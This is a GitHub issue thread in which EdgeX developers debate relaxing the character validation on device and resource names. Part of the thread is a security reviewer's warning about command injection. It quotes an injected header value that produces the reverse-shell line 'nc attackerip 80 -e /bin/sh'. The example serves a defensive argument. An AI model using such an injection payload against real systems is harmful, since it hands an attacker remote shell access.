Reduce the character restriction of the name field

[cloudxxx8]

🚀 Feature Request

Relevant Package [REQUIRED]

This feature request is for all services

Description [REQUIRED]

Driven by edgexfoundry/edgex-go#4053

We added ValidateDtoRFC3986UnreservedChars func to check if DTO's name pointer value only contains unreserved characters as defined in https://tools.ietf.org/html/rfc3986#section-2.3
unreserved characters= ALPHA / DIGIT / "-" / "." / "_" / "~"
Also due to names used in topics for Redis Pub/Sub, "." is not allowed

However, we noticed colon : is a standard character of BACnet device resource. It might look like abc:def in the resource name.
Furthermore, a customer told us their device might contain space and dollar sign in the resource name.
Thus, I propose to remove this restriction.

Users can still use URL escape to use those characters to call the API.
Our go-mod-messaging might also help escape those characters

Describe the solution you'd like

Remove edgex-dto-rfc3986-unreserved-chars validation tag from all the name fields.

[iain-anderson]

We should probably document the various places that names crop up in, and what limitations / workarounds are implied.
eg:
REST paths - URL escaping scheme is comprehensive
MQTT topic names - at least '/', '+' and '#' are problematic
REDIS topic names - '.', '/' and '*' ?
JSON data - quotes need to be escaped, but this should be handled in the support library
REDIS database keys?

[lenny-goodell]

We should probably document the various places that names crop up in, and what limitations / workarounds are implied.

Very good point!!

Note the Redis Pub/Sub implementation converts / & # in the topic to . and * so that our message bus abstraction uses / & # consistently. MQTT still have the additional +.

[lenny-goodell]

I am in favor of configuration as follows:

• Validation Disabled
  • Default to false
• Additional allowed characters
  • Used when Validation is still enabled
  • Allows adding just the special character(s) the adopter needs.
  • Could be a map of strings where the key is the device service name so the validation only applies to names generated for object's associate with the specified device service.

I am assuming this configuration is for core-metadata and applies to Device, DeviceProfile and DeviceResource names.

[lenny-goodell]

FYI, we use this name validation in many other DTOs.
https://github.com/edgexfoundry/go-mod-core-contracts/search?q=edgex-dto-rfc3986-unreserved-chars

[cloudxxx8]

important feedback from @bnevis-i via email:

There is always a risk of command injection of using characters such as $, particularly if a device service ever invoked system() or equivalent as part of its processing.

For example (used to be with old school httpd that HTTP headers got reflected in environment variables):

mkdir /dev/DEVICE_NAME where DEVICE_NAME is "$HTTP_X_HACKME" and the HTTP request had an X_HACKME header that contained "null; nc attackerip 80 -e /bin/sh"

Then you get

mkdir /dev/null; nc attackerip 80 -e /bin/sh

which gives the attacker access to a shell on your box.

This kind of attack is particularly insidious because you can do all the right things, and then call some third party code that you don't know about that just totally blows it.

[bnevis-i]

To follow up:

If "$" is legal for BACnet identifiers, then only allow "$" for BACnet devices, for example. Or pull the usable character set out into configuration, where the user can override it for corner cases like this. Removing all restrictions entirely is just asking for trouble.